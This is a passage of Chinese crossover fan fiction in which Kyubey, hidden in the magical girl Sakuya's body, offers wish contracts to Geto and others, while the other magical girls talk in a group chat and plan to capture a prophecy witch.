话说，不久前因为梦境魔女而陷入沉睡的那些人都醒过来了，萩原的事情似乎与此是差不多时间发生的，两者很可能会有什么关联吧。 得问问伊江朔久才能确定了。 松田阵平忽然有点苦恼，意识到自己之前似乎是直接放朔夜走了。朔夜的手机坏掉了，一时半会儿还真不知道怎么联系对方。 对方应该会主动联系其他人的，对吧？ 松田阵平发现自己难以确定。 刚才的朔夜看上去好像有种说不出缘由的奇怪，让自己感觉有点陌生，所以至今还是难以彻底安心下来，无法确定该如何判断对方的行动。 “我知道的不多，等下次见到伊江的时候再问问吧。” 松田阵平这么说着。 不过，伊江是否会如实回答就不能确定了。 虽然之前想着不能逼得太紧，但是因着心里的莫名不安感，松田阵平自然也不能放任不管。 下次见面的时候……松田阵平想，就先从劝对方搬回去住开始吧。 可惜，想法固然不错，却没有落实的机会。 ——松田阵平之后好一段时间都没有再见到伊江朔久。 因为忙着帮忙处理战斗后遗留的一大堆麻烦事，松田阵平也挑不出更多的时间，专门去找这个本就行踪不定的人。 对方到底去做什么了呢？ 松田阵平总是忍不住挂念着，当然其他魔法少女，以及无数普通民众也特别在意关注着这位白发魔法少女的全部动向。 毕竟，即使现如今异能者和咒术师的存在都被暴露出来，但是作为这次战斗主力军的魔法少女们依旧处于万众瞩目的位置。 而其他魔法少女虽然不是每个都像悠衣那样好说话易相处，却也比总是难以接近的朔夜好得多。 更何况，在此之后，朔夜便比之前更少在大众面前露面了。 …… 夏油杰没能想到，会是自己先见到魔法少女朔夜。 他还记得，上午上课的时候，还听学生们在底下偷偷讨论朔夜近期可能的动向。 真不知道为什么虎杖、伏黑和钉崎会对魔法少女兴趣这么大，听说他们之间的关联也很深，虎杖与伏黑经常逃课的原因似乎就与魔法少女们有关…… 夏油杰微微垂眸，看着面前这个模样永远维持在十三四岁的魔法少女，眼里藏不住自己的好奇与探究之色。 白发少女同样也望着他，而眼底隐约带着令人不太舒服的色彩，像是在暗自评估一件货物的价值般。 ——对方是主动来找他的。 这毋庸置疑。 可是，为什么呢？ 夏油杰自以为和魔法少女们根本不熟。而且也就两年前因为帮悟试探一下她们，才和朔夜简单地交流过一次而已。 所以，明明和她们联系颇深的伏黑与虎杖、有合作关系的五条悟、以及那么多普通民众……都想要获得朔夜如今的动向，而这家伙这么久没有露面，如今为什么会主动先来找上自己？ “你拥有想要实现的愿望吧？” 白发少女终于出声了。 语气似乎如往常一般的冷淡，却好像又带着点令人毛骨悚然的友善态度，违和得如同将两个毫不相干的存在硬生生地融合到一起。 不过，夏油杰跟魔法少女完全不熟。沉默了一会儿后，他只当作自己的感觉出现了问题。 他皱起眉问道：“你想说什么？” “我可以帮助你实现任意一个愿望，不管是消灭所有普通人，还是创造一个你理想中的世界，都可以……” 少女一出口，话语就十分自然地流露出来，熟练得就好像已经这么传销过了数万遍一样。 不过，最后的尾音却收得有点奇怪，像是被硬生生遏止住了般。 如果在后面再加上一个“呢”的话，听起来就恰到好处了，但是却颇不符合对方冷淡的声线。 总之，少女突兀地闭上了嘴，安静地看着夏油杰，似乎是想先看看他听了这些话后的反应。 夏油杰：“……” 怎么说呢，他现在开始怀疑对方是不是来钓鱼执法的了。 “别开玩笑了，朔夜小姐。”夏油杰无奈地说：“我已经放弃当初的想法了，不用再这样试探我了。” “没有开玩笑。” 白发少女一边说着，一边用带着点不解的眼神看着他，像是并不怎么信任他所说的放弃。 “不管你想实现什么愿望都可以，我刚说的只是举例罢了，这取决于你自己……但是，你真的已经对这样的世界满意了吗？” 第250章 真的已经对这样的世界满意了吗？ 面对这个问题…… 实话说，夏油杰无法回以满意的答复。 毕竟现实的丑恶依旧摆在那里，这无法逃避、无法否认，甚至曾经一度让自己恨不得消灭所有普通人、塑造一个只有咒术师的世界。 但是，这些年度过的那些时间也不是毫无意义的。 虽然最开始的时候，只是因为自己的记忆和理智莫名其妙地出了问题，才被迫留在五条悟身边。 但是现在，夏油杰越来越觉得那其实是一件好事也说不定。 毕竟正是因此，他才能够现在依然和重要的同伴站在一起，能够看到世界在他们的努力下变得越来越好…… 夏油杰挑了下眉。 朔夜所提及的话题已经不会太触动他的神经，可是对方的动机却需要让人怀疑、谨慎。 “为什么要问我这样的问题？你有什么目的？” 等待着朔夜回答的时候，夏油杰也在快速思考并回忆着两年前和对方初次见面时的交流。 根据当时的情况，能够分析出来——朔夜很早便对他的真实境况有些了解。所以即使他利用自己不好的名声，装作想与那时处境同样糟糕的魔法少女们进行合作，也被直接看穿然后拒绝了。 而现在的朔夜，看起来似乎……反没有当初那样了解他？ 有点奇怪啊。 夏油杰不露声色地打量着眼前的白发少女。 他和对方根本不熟，所能了解到的关于朔夜的信息大都是来自网上的传闻、或朋友与学生的讨论。 此刻的白发少女看上去神情淡漠、态度自然，和网上偶尔流传的照片视频似乎没什么出入。 “我希望你能与我签订一个签约，成为魔法少女。以此作为交换，就可以实现你的任意一个愿望。” 夏油杰：“……？！” ……魔法少女？ “等等。”夏油杰努力维持起一个礼貌的微笑，指了一下自己，问道：“你是说……我吗？” 白发少女点点头：“男性成为魔法少女其实是一件很寻常的事情。” 丘比在心里补充了一句……单指这个世界。 夏油杰沉默了。 他忽然想起了很多事情。 什么伏黑惠、虎杖悠仁跟魔法少女们的密切关联，好像传闻有某种隐蔽恋情，五条悟也对魔法少女相关的事情一直莫名有浓厚的兴趣…… 还有，五条悟似乎曾随意说过的一句话——“杰，你相信男孩子也可以成为魔法少女吗？” 悟是已经知道了什么才这么说的吗？ 那些魔法少女之中……真的有不少男性吗？ 思绪还没理清楚，夏油杰就感觉右肩微微一沉，一只胳膊熟稔地搭上来，挚友不知何时突然出现在自己身旁。 而对方的目光也锁定在面前的白发少女身上，声音故作轻快地打招呼道： “好久不见啊，朔夜酱，你在做什么呢？” 白发少女说道：“你已经听到了吧。” “确实听到了一点点，但实际上还是搞不清楚现况。” 五条悟用好奇的语气道：“你能为我们详细地解释一下吗？” 白发少女沉默了片刻，随后几乎是又重复了一遍刚才自己说过的话：“如果愿意签订契约成为魔法少女的话，便能够实现任意一个愿望。之前的魔法少女也都是这样做的。” “是吗？那还真是神奇啊。” 五条悟悠悠地说道：“这种契约就跟天上掉馅饼了似的，真让人心动呢。不过就连小孩子都被教导过，不要乱吃外面免费的东西……所以，朔夜酱，你的契约难道就只是这么简单，没有什么隐藏信息吗？” 隐藏信息当然是有的，而且多到一时半会儿根本就说不完。 丘比感到有点糟心。 怎么就这样倒霉得被五条悟撞见了呢。如果只是面对夏油杰的话，它有无数种谎言可以随意使用，毕竟他对魔法少女和朔夜并不了解。 但是，五条悟很明显是知道一些信息的。 而正是因为不清楚五条悟到底了解多少情报，丘比才更加无法随意对他们说谎。 白发少女从没说的信息里挑挑拣拣，说道：“成为魔法少女后，就要背负起与魔女使魔战斗的责任，可能时常面对死亡的威胁。” 这种话可能会让普通人退却，但丘比知道，咒术师这种职业本就是这样的。眼前这两人绝对不会畏惧死亡。 再好好诱骗一下的话，或许有几率让他们答应成为魔法少女。 但是考虑到过多的风险，丘比想着，还是先算了，等下次五条悟不在的时候，再来找夏油杰谈谈吧。 白发少女表露出要离开的意思：“可以先考虑一段时间，下次见面的时候，再答复我就行。” 五条悟喊住了她：“诶，既然杰能够成为魔法少女，那我是不是也可以呢？” “是的。” 白发少女侧头看向五条悟。 对方明明知道一些魔法少女的隐情，刚才还出现干扰了夏油杰与她的交流，但是此刻却表现得比夏油杰对此更为感兴趣。 为什么会这样呢？ 不过，也没必要管太多。 五条悟显然比夏油杰更具有成为魔法少女的天分一些。但因为他看起来几乎应有尽有，丘比自然也就觉得他对所谓的愿望并没有强烈的渴求，所以之前先把目标放在了其他人身上。 但是，既然都主动送上门来了…… “你也有成为魔法少女的资格，只要愿意签订契约，你就可以——” 五条悟还在听着，看起来态度挺认真。 可朔夜那边却出了问题，话说到一半，突然止住了。 她的脸色忽然变得有些苍白，抬手用力地按住了头部，呼吸一时间也变得不太规律，似乎在忍受着某种强烈的痛苦。【你现在阅读的是 】 250-260 第251章 “朔夜？” 五条悟心脏仿佛也莫名漏跳了一拍。 刚才还好端端的人，突然一下子变得这么不对劲，确实令人意外，尤其是这个人还是朔夜。 自从上次几乎将东京全毁了的事件发生之后，很多人都充分了解到了魔法少女们的生命力之旺盛，不管受了多重的伤都还能接着战斗。 而现在，面前的白发少女明明看着什么事也没有，怎么会表现出这种从没见过的糟糕状态来？ 本来五条悟还在琢磨朔夜的异常行为，思考对方找夏油杰签订契约的用意，想从对方那里获得更多的信息。 但是现在也不知为何，也没心情再试探下去了，他下意识上前一步，问道：“你怎么了？” “……没……事。” 白发少女缓了一阵，状态才慢慢恢复过来，依旧看不出到底是哪里出了问题。 五条悟微微皱了下眉：“是上次受伤遗留下的问题吗？” “大概吧……不重要。” 白发少女敷衍着随口说道。 这具魔法少女的身体之前的伤势早好了，肯定和那没什么关系。 丘比也能想到，这应该是与自己和伊江朔久签订的契约有关——它不能伤害伊江朔久在意的那些人。 它触犯了契约，才会一时间难以完全掌控这具身体，让伊江朔久的意识刚才突然短暂地冒了个头。 所以，五条悟是伊江朔久在意的人？他们之前就认识吗？ 白发少女抬眼打量着眼前这个人。 为保证自己之后能够在这个世界顺利行动，它自然不能让伊江朔久钻契约的空子，提前就定好了对方在意的不能是并不认识的人，也差不多掌握并尽量避开了对方的社交圈。 就所调查到的情报来看，五条悟和朔夜的见面次数不多，而且基本上都是为了聊公事。 所以说…… 五条悟应该是伊江朔久在世界线修改前所认识的人。 他们两个会是怎么认识的？ 丘比想起了调查到的关于夏油杰过去的经历。 五条悟、夏油杰这类人物牵扯了众多的因果，对这个世界有着难以想象的影响力，他们的命运甚至能够被其他世界意外观测到。 丘比之前所在的世界就能看到以他们为主要角色的作品。 按理来说，如果没有丘比的干涉，他们的命运不会出现什么转折。所以在丘比来到这个世界之前，世界线应该会和观测到的相差无几。 而夏油杰的经历变化却尤为特殊，不像是蝴蝶效应能够做到的改变。 现在想来，估计是因为……五条悟曾经和它签订契约成为过魔法少女，许了和夏油杰相关的愿望。 同为魔法少女，五条悟以前能和伊江朔久相识也不奇怪。 “……原来是这样。” 白发少女声音很轻，似乎有些失望。 五条悟不解道：“什么？” “当我什么也没有说吧，你已经不适合成为魔法少女了。” 白发少女的目光转向夏油杰，忽略了五条悟，只对着他一个人说道：“契约的事情你再考虑考虑，下次见。” 夏油杰迟疑道：“……下次见？” 五条悟：“？？？” 白发少女离开得很快，身影消失后好一会儿，夏油杰都还没能消化完刚才对方所说的话。 他心情复杂地侧头，对上挚友奇怪的目光。 “虽然成为魔法少女应该并不算什么好事，但还是有种被你比下去了的感觉呢。” 五条悟嘟囔着，顿了顿又道：“怎么样，杰，你想成为魔法少女吗？” ……他也不想在这种事情上把悟给比过去啊。 夏油杰道：“不怎么想，你到底掌握了多少魔法少女的情报？” 五条悟闷闷地道：“没多少，我都不清楚朔夜刚才为什么要说那些，总感觉有点不对劲。” 夏油杰好奇地问：“对了，她所说的能实现愿望的事情是真的吗？” “应该半真半假吧……任何愿望的范围太大了，怎么想都不可能做到吧。” 五条悟想起了当年津美纪忽然解除诅咒醒过来的事情，那大概率跟魔法少女有关，伏黑惠似乎也是在那段时间成为魔法少女的。 那个诅咒非常特殊，近一年的时间五条悟都没能找到破解的方法，和咒术界并没有关联的魔法却能轻而易举地破解它、还让津美纪身体很快恢复了健康。 这确实如同奇迹一般。 说起来，这种难以解释的古怪事情更早之前还发生过一次。 ——已经叛逃了的夏油杰，突然回到了他身边，改变了过去的思维、不再做一名诅咒师，莫名其妙地开始听从他所有的想法。 虽然重要的友人回来了这似乎是一件很好的事，但是五条悟却也不希望对方失去自己的意志，变成他的提线木偶。 幸好后面夏油杰又恢复正常了。 这一切会和魔法少女有关吗？ 五条悟思索着……或许该找惠和悠仁聊聊了，直接沟通才能获得更多的信息。 …… 就这样，其他魔法少女也逐渐都得知了朔夜如今的情况。 ……不对劲，非常不对劲。 认识这么久了，谁见过朔夜主动找人签约了？一般这只是丘比会做的事情吧。 从上次东京的事件结束之后，朔夜就愈发令人捉摸不透了，根本不知道她现在到底在想什么，为什么要那么做。 原先那个只排除了朔夜、其他魔法少女在私底下建的群聊，如今又久违地从沉寂转为了活跃。 安凛：【我也发现，朔夜在找人签订契约了，还好那个人当时没有同意。】 她没有具体说那个人是谁，其他人也清楚涉及到她的身份信息，没有多问什么。 只不过有些信息不得不问。 艾尔菲：【朔夜有给对方说明魔法少女所有的情况吗？】 安凛沉默了好几秒，最终如实发道：【……没有。】 第252章 现在回想一下，降谷零的心情仍然颇为复杂。 幸好，那天遇见诸伏景光并与对方交谈的时候，对方显得心事重重，吐露出了一些和魔法少女相关的情报。 然后他立刻追问，才从对方口中得知，朔夜不久前来询问过其签约的意向。 诸伏景光出于曾经身为卧底的高度谨慎，并没有答应，只是先跟朔夜说要认真考虑一段时间。 不过，降谷零能看得出来，诸伏景光有想要答应的意图。 ——毕竟能让自己曾经在卧底期间被迫杀掉的无辜者复活，只要是心怀愧疚、将他人生命置于自己之上的卧底警察，估计都无法拒绝吧。 前提是，那是真的。 有过签约经历的降谷零能知道，那大概率确实可以实现，但是代价也足够高昂。 作为非常重要的朋友，降谷零怀着自己的私心，苦涩地体会到了与当初松田阵平相同的感觉……他也很不希望诸伏景光签订那个契约。 随后，在他找各种方式劝说诸伏景光拒绝签约的过程中，他自己作为魔法少女安凛的马甲就这样被敏锐的幼驯染扒掉了。 真够令人糟心的。 眼前手机屏幕亮了一下，松代在群聊里发了一条新消息，文字里充满了难以置信：【开什么玩笑，朔夜不可能会这么做吧？】 到处主动找人签约已经很不像是朔夜会做出来的事情了。 把魔法少女那些可悲的真相隐藏起来，只留虚假的表象，用可能会扭曲的愿望诱导其他人签订契约…… 其他魔法少女当然也绝对难以相信，这是朔夜能够做出来的事情。 但事实就摆在眼前。 悠衣犹豫着发道：【应该是有什么不得已的隐情吧，我相信她不会无缘无故就这么做的，她也一定很为难。】 艾尔菲：【我也愿意这么相信，但是她却一直避着我们，根本没办法好好交谈的话，又该怎么办呢？】 现在想要联系上朔夜比以前难多了。 虽然对方还没有彻底失联，偶尔能够有个消息证明她还活着，但是却把分配给她本该做的处理魔女的任务扔给了别人。 什么解释也不做，只是敷衍着说有事要忙，远比以前还要孤僻与沉默寡言。 【我上次遇见朔夜的时候，问过她为什么找人签约了。】 津岛这句话像是往平静的湖里扔下了巨石，其他人纷纷追问。 松代：【她说什么？】 安凛：【她真的回答你了吗？】 悠衣：【一定有什么不得已的原因吧？】 津岛叹了口气，将那天白发少女说的话转述出来：【她的意思差不多是，现如今魔法少女的数量太少了。要是下次遇到牵扯范围更广的战斗，只依靠我们这些人无法每次都顺利解决。这是为了世界的安全考虑。】 非常合理的理由，也算是符合朔夜的口吻。 如果换做是其他人，在经过认真理智地考虑之后，也能够理解并赞同这一做法。 ——毕竟全世界的安危总要比少数人的牺牲重要多了。 电车难题之所以会让人难以抉择，只不过是因为一比五的人数差太小了而已，若是换做一比五亿便不用思考就能判断出来。 太宰治就能够很快地做出理智而冷酷的选择。 可是…… 太宰治还是觉得朔夜不对劲。 明明那个人的动作神态语言以及某些细节的习惯都大差不差，他也完全能够接受对方的这一想法，但是却还是让他感觉对方有些陌生。 让人从心底忍不住会产生这样的疑问——这真的是……伊江朔久吗？ 其他魔法少女大概也有类似的感觉。 禅院穗：【她只说了这些吗？没有别的什么了吗？】 津岛无奈地道：【没有哦。】 松代：【她肯定还有隐瞒的事情。从那天战斗结束之后，她就有些不太对劲，所以肯定不只是因为这个原因才那么做的。】 如果有其他更让人容易接受的可能性，她们倒是也愿意去相信。但是……究竟是什么样的隐情会让朔夜去做这样的事情呢？ 丘比最令人讨厌的地方就是，将她们一直蒙在鼓里，用美好的虚假表象来哄骗她们签订契约的行为。 尽管她们并不后悔自己当初的选择，但也肯定无法接受丘比的做法。 禅院穗想着从五条老师那里得来的情报，发道：【我听说，朔夜在上次事件中受的伤似乎还没好，她不久前还有些头痛的后遗症。】 头痛？ 安凛不解地问：【魔法少女的身体会有无法修复的隐患吗？】 悠衣担心道：【按理来说，不管受了多重的伤，不都能够用悲叹之种来修复么？除非是灵魂宝石损坏，才会导致死亡。】 松田阵平也想起了战后刚见到朔夜时，对方那浑身是血的样子……尤其是头部右侧，虽然有发丝的遮挡，但看起来还是相当不妙。 松代：【战斗结束那天，我确实看到朔夜头部有很严重的伤势。不过没看到她灵魂宝石的状态。她从那时起就变得越来越难懂了。】 松田阵平情绪不由得变得低落。 如果那天没有放朔夜离开的话，会不会情况就能变得不一样了。又或是……自己应该去的更早些，站在对方身边。而不是等到一切都结束了，才后知后觉对方做了什么。 安凛忽然提出了关键的问题：【话说，朔夜前辈是怎么做到与人契约的？这不是只有丘比才拥有的能力吗？】 群里沉默了半晌。 艾尔菲：【……这里应该没人知道这些。】 朔夜不为人所知的秘密太多了。 直到如今，也没有人弄清楚她和丘比之间具体发生过哪些事情。 但是，她们大概也都能看得出来，朔夜最近的这些异常与丘比脱不了干系。 第253章 松代在群里又问道：【你们近期有谁见过丘比吗？】 依旧没能得到什么有用的回复。 这也并不奇怪，早在好一段时间之前，丘比就已经失去了踪影，谁都没能再见过它。 禅院穗想了想曾经在预言魔女的幻境中所见到的场景：【说不定，丘比已经死掉了呢？】 她迟疑地发道：【当初我和津岛一起见到的预言场景，有一个已经在不久前的战场上重现了，那另一个是不是也会实现呢？】 现在回想起当初所看到的场景，伏黑惠的心情已经和那时完全不同了，觉得朔夜干脆利落地杀掉丘比肯定是有原因的。 如果东京那次事件真的是丘比做的，她们甚至都应该为朔夜成功杀死丘比而叫好。 安凛：【丘比会有那么容易就死掉吗？】 此话一出，其他魔法少女又沉默了。 确实。 虽然丘比表面上看起来很无害弱小，但要是它真的那么好对付，朔夜估计早就一箭解决掉它了，何必要等到这时候才动手？ 未知的情报太多了，再怎么讨论下去，也无法确定真正的答案。 必须得抓紧时间采取实际的行动才行。 太宰治眸色渐深，脑海中闪过无数思路，将它们清晰而具体地快速捋顺汇总，决定了下一步的计划。 接着，太宰治在群里顺势转移了话题：【预言魔女似乎没有在那时的战场上出现过，这些年也并没有被我们杀死。那就是说，它应该还躲在世界的某个角落里苟且偷生。不如我们合作共同将它抓住吧？】 突然提及这个确实是有点突兀了，禅院穗忍不住质疑道：【这么久都没再见过那个魔女了，我们根本没办法找到它吧。】 津岛：【它这些年也不是完全没有踪迹。】 津岛：【曾经有两次偶然的经历，我察觉到了类似于预言魔女的气息，因为时间比较久远，所以无法判断是不是弄错了。】 津岛：【但应该就是它没错。虽然我感知到了魔女的气息，但两次却都什么也没能找到，就好像对方能够预知我的行动，提前逃走了一样。】 松代也跟着道：【这么说起来，我曾经也有听过可能是因魔女而造成的失踪案件，赶到的时候，却连魔女的影子也没有看到。】 悠衣弱弱地发道：【……听起来感觉更难抓住它了。】 既然能够提前预知到别人的行动轨迹，那么预言魔女似乎就能掌握未来，永远都不会遇上危险。 津岛：【倒也不用太过担心，任何事物都能找到它的弱点与局限之处。】 安凛察觉道：【你知道该怎么对付那个魔女？】 津岛举了个例子：【我有个朋友，拥有可以短暂预见未来的能力，体术和枪法也很强。不过，他曾经却在一个作为情报员的朋友身上吃了亏——他中了对方涂抹的毒，在预知未来发生的危机之前，便已经落入陷阱。】 禅院穗立刻就明白了她的意思，思索着发道：【所以，我们可以先调查它的行踪，远远地跟着它而不被发现，再通过拉长时间线，布下层层陷阱后一举解决掉它？】 津岛：【没错。那个魔女预言的能力肯定无法随心所欲地发动。否则两年前就不会被我和禅院意外撞见，也不会偶尔泄露出自己的行踪。】 既然如此，那么她们总会有机会抓住它的。 津岛：【松代按照上次掌控城市监控的经验来，调查一些隐蔽地区的关于魔女的异常情报。那个魔女善于隐藏，总是躲避着对其有威胁的我们，所以应该不会出现在人多的地方。你不要打草惊蛇就行。】 安凛：【……这违法了吧？】 上次操控各地监控，完全是非常时期的特殊手段，而且警方上层也是知道这件事的。 但是这一次就不同了，上层当然不可能允许她们只是因为一个魔女，就要掌握整个国家的隐私与动向。 津岛：【这件事很重要，并不只是要解决那个魔女而已。】 艾尔菲猜测道：【那么……你是想要利用它的预言能力吗？】 预言的能力属实太作弊了。 如果能够借此观测未来的话，那么说不定她们就能了解丘比与朔夜所隐瞒的事情，知晓敌人背后的目的，将一切引导向自己期望的方向发展。 津岛没有继续解释，只是道：【现在说出来为时太早，会造成一些多余的影响。总之，等到抓住预言魔女之后，我才能跟你们解释清楚……】 她犹豫了一下，不确定仅是这样说，能否得到其他人的认可。 松代却先做出了回应：【好，我会尽快找到它的。】 禅院穗也随即道：【那就先抓住那个魔女再说。这段时间魔女出现的频率大幅度减少，东京那次事件的影响也在慢慢消减，我们应该都能抽出空来一起解决那个预言魔女吧？】 安凛叹了口气，松口道：【我随时有空。】 悠衣：【我也都有空。】 艾尔菲：【之前的事我还欠着你的人情，有事直接安排就行。】 津岛：【……谢谢。】 悠衣不假思索地回道：【我们都是同伴嘛。】 悠衣想了想，紧接着又道：【说起来，大家这么多人聚在一起采取行动，只是为了共同对付一只魔女……这样的事情似乎没怎么发生过，还真是难得呢。】 一般来说，确实几乎不存在那样厉害的魔女，需要她们这么多魔法少女并肩作战才能够将其解决。 不过…… 禅院穗：【……确实是久违的团建活动了。】 某些魔法少女回想起了，两年前她们一起去往港口黑手党解决魔女的那次经历。那个时候，悠衣和安凛都还没有成为魔法少女。 现在回想起来……依旧是那么让人社死。 魔女结界里，她们回归了校园生活，被迫学习那些陌生而糟心的知识点，伪装成自己需要扮演的角色的性格，装作和其他人关系很好的样子……一幕幕简直全是让人难以忘怀的黑历史。 但是，从那个时候起，她们的关系渐渐得到了缓和，也拉近了彼此之间的距离。 并且也是通过那次的经历，她们才似乎第一次接触到了朔夜的另一面，真正看到了对方秘密的冰山一角…… 津岛：【既然说是团建活动，那就不能随便丢下任意一个人了。】 松代问道：【你是说……？】 也不知道是早就这样想好了，还是临时起意……总之，津岛用轻快自然的态度道： 【也叫上朔夜一起去吧。^‐^】 第254章 在其他大多数魔法少女来看，津岛提议捉住预言魔女，估计主要就是为了利用其预言的能力，探寻更多关于丘比和朔夜的情报。 那么，自然不应该叫上朔夜一起去，甚至还得尽量瞒着她才是。 否则这个计划可能根本就无法实现吧？ 就算成功抓住预言魔女了，她们还能当着朔夜本人的面，试图借助预言能力去探寻她隐瞒的情报吗？ 想想那场面，就已经足够令人尴尬了。 艾尔菲不禁又问了津岛一遍：【你确定吗？】 就好像之前在这个群里交流发言的人不是自己一样，津岛仿若义正词严地道：【当然，怎么能够将前辈排挤在外呢？】 紧接着，她似乎是为了验证自己所言不虚，立刻转到了所有魔法少女都在的那个群聊里，直接@了朔夜。 【@朔夜，你还记得之前说过的，我和禅院两年前曾遇到的那个预言魔女吗？】 津岛解释道：【因为它的能力特殊又棘手，这么久以来都没能被抓住。所以我和其他人都商量好了，准备过段时间合作共同来对付这个魔女，不能再放任它一直躲藏下去了。】 朔夜没在群里回复。 津岛也不着急，继续道：【@朔夜，前辈也一起去吧。你不在的话，我们没有完全的把握能捉住那个魔女呢。】 津岛：【@朔夜，怎么样怎么样？不会耗费你太多时间的。】 津岛：【@朔夜，在吗？】 …… 津岛就这样一连在群里发了好些条@朔夜的消息，大有一副如果得不到回应、就会一直这么刷屏下去的架势。 她的努力是有用的。 尽管朔夜最近比以前更加沉默寡言不少，但也不是完全不搭理其他魔法少女了，还是会跟她们偶尔有点联系的，不会异常到让其他人觉得这绝对不是从前的朔夜了。 朔夜终于回复了：【你们都去？那根本不需要我帮忙吧。】 好不容易得到了回复，津岛当然不能轻易放过对方：【怎么会不需要呢。预言的能力如同作弊一般，那么棘手。如果不能一击得手，绝对会打草惊蛇，估计以后再想要捉住那家伙就很难了。】 悠衣虽然不清楚津岛为什么要执着于叫上朔夜一起去，不过她其实也不希望落下任何一个同伴。 悠衣：【确实，如果有朔夜前辈在场的话，我们都会放心很多。】 朔夜似乎犹豫了几秒，问道：【……为什么要特意捉住那只魔女？】 津岛很快发道：【当然是因为预言的特殊性了。你之前利用了梦境魔女的力量，对吧？要是也能够想办法掌握预言的能力，提前知晓未来的情报，对我们绝对是一件千载难逢的好事。】 津岛慢悠悠地补充了一句：【之前东京的那次事件看似是解决了，但大家其实都还不放心，担心幕后敌手下一次会做出怎样的行动。】 安凛确实总忍不住担心在意着这点：【这个国家可经不起再发生几次这种事情了。】 松代：【如果能利用那个魔女获取到未来的信息与线索，或许就能够确保未来不会再发生这样的危机。】 虽然由于津岛推波助澜，想让朔夜也参与到这件事之中，所以利用预言魔女去探寻朔夜情报的几率自然而然便下降了。 雨吸湪队Ｐ 但其他魔法少女转念一想，预言这样珍稀的能力，不管用在哪个方面都能起到很大的作用。 就算难以探寻朔夜的情报，也应该尽可能捉住预言魔女才是。 艾尔菲也劝道：【@朔夜，一起去吧？要是你也能利用预言的能力，一定可以成为我们非常重要的助力。】 终于，朔夜松了口：【好。】 朔夜很快接着道：【有情况了再告知我。其他的时候，不要随便联系我，我最近有自己的事要忙。】 ……要忙什么事情？找其他人签订魔法少女的契约吗？ 魔法少女之中有人想要这么问。 不过，按照朔夜如今的态度与之前和朔夜交流的经验来看，对方根本不会把自己的那些事情说给她们听。 而且朔夜先前也已经回答过津岛，她找人签订契约的原因了。 所以，没什么好问的。 津岛见达到了自己的目的，率先应道：【没问题，那么下次见。】 松代却没忍住问道：【等等，朔夜，你最近有和丘比见过面吗？】 根据之前她们的推测，丘比最有可能是东京事件的幕后黑手。而朔夜在那次事件结束之中，就开始表现出了异常行为，居然做出了与丘比类似的事情。 让人无法不怀疑，朔夜如今是不是受制于丘比，才不得已这样做的。 松田阵平忧虑又自责。 之前他就猜到，他们和伊江朔久的关系匪浅，只不过失去了从前的记忆。 或许丘比还保留着过去的记忆，会抓住伊江朔久的把柄要挟他。所以这些年来，伊江朔久才会事事都听丘比的话。 想想东京那次莫名其妙结束的战斗，再想想朔夜自此便奇奇怪怪的行为…… 松田阵平实在担心——不会是他们这些人又一次成了要挟伊江朔久的把柄吧？ 朔夜那边沉默了好一会儿，不知道是不是下线了。 松代想了想，还是发道：【如果丘比来找你，一定不要听它的胡言乱语。不管遇到什么情况，大家一起解决总好过一个人扛着。】 朔夜意味不明地发了句：【……胡言乱语？】 禅院穗如今也对丘比的看法很糟糕，赞同了松代的话：【确实要小心丘比，那家伙一向擅长蒙骗别人。】 艾尔菲合理推测：【东京事件看似是结束了，但丘比至今也没有露面，说不定又在暗地里筹备着什么阴谋吧。】 朔夜：【……你们想多了。】 不知道为什么，她只留下了最后这句话，便不再回应其他人了。 第255章 看着手机屏幕里刚才的那些消息，白发少女眼中的情绪难以辨明，不知道在思索着什么，但显然并不怎么开心。 “……还真是不公平呢。” 她感慨似的道。 这早就不是孵化者第一次意识到这个情况了。 在它还作为系统跟着伊江朔久的时候，便发觉了其他魔法少女对丘比与朔夜看法的迥异。 而伊江朔久当时是这样回答它的——这是因为丘比和人类有着本质的深厚隔膜，所以其他人永远无法彻底信任它、真的以平等的目光看待它。 它认同了对方的回答。 这些年来，孵化者常常待在伊江朔久身边，看着他交换着使用丘比与朔夜这两个马甲身份。 丘比善解人意又温和好说话，朔夜孤僻冷漠又态度差劲。 刚开始的时候，丘比确实比朔夜的人缘要更好些，可随着时间的推移，尤其是到了魔法少女的真相被捅出来之后……丘比的处境便逐渐一跌再跌。 可是，孵化者不能明白，明明朔夜也是满口谎言，和丘比一样隐瞒下了那些关键信息，但为什么她却能得到更多的谅解与宽容？ 果然是因为丘比终究不是人类吧？ 毕竟人类就是这样的存在，情感复杂、缺乏理性，只能目光狭隘地看到自己或周边人的得失。 他们连更远处的人类同伴都无法顾及到，可以为了更重要的人而放弃不熟悉的人，自然也就无法与种族不同的丘比共情了。 好在，孵化者如今得到了人类的躯壳，还是这样有价值的躯壳。 虽然有着一些麻烦的束缚，还难以使用这具身体的全部能力，但找其他人签约、获取情感能量也算是够用了。 孵化者又想起刚才其他魔法少女所说的预言…… 预言的能力绝不是那么好操控的，不过它也担心，要是意外暴露出了自己的什么马脚，那么估计会牵扯出不少麻烦来。 为保险起见，它还是跟着她们去看看吧。 要将一切威胁扼杀在摇篮之中。 …… 不知道算是幸运还是不幸，没过多久，魔法少女们便搜寻到了预言魔女的踪迹。 顾忌着不能让它通过预知未来，而提前找机会溜走，她们又远远地跟踪了那个魔女一段时间。 准备在布置好万无一失的包围圈后，再开始抓捕行动。 终于，一切都安排好了。 察觉到不对劲的预言魔女开始动了，穿梭于横滨的丘陵低地，身形时而化作飘忽的剪影，时而隐匿于树林之中。 但这终究是徒劳无功的。 蜘蛛早已结好蛛网，它既然落入陷阱之中，那么不管逃到哪里去，最终都只能被收入网中。 魔法少女们没有急着行动，而是在等待一个最好的时机。 松代用着提前准备好的安插在各处的隐蔽监控，时刻监视着魔女的动向。 不再顾忌暴露身份的禅院穗连自己作为咒术师的式神都召唤出来了，让它们潜伏于容易忽视的阴影之中，跟随着魔女的气息前进。 津岛远远地站在高处，手上拿着《女生徒》，她的瞬移能力可以方便自己快速地前往这附近的任何位置。 其他魔法少女则分散在各个方位，将预言魔女控制在她们的包围圈之内。 一切都很顺利。 预言魔女果然也因为东京事件的影响，没敢出现在人多的地方，所以等会儿就算打起来也不需要顾虑太多。 “它大概率没发现我们。” 禅院穗低声对着对讲机道：“不过，应该是预言的能力起作用了，它现在正朝着东面快速逃窜。” 安凛迅速做出了判断：“东面离海边近。万一让它潜入海域，之后的行动就会变得非常复杂了。” “没关系，我不会让它从我这边溜走的。” 守在东面的艾尔菲坚定地回应。 津岛也并不怎么担心，艾尔菲是提前被安排好负责那一块区域的，因为她那改变物质材料的能力，比其他人更适合在海面作战。 只要艾尔菲能稍微拦住那个魔女一会儿，就不用担心后续的事情了。而且估计也不至于会让那个魔女有机会靠近海边。 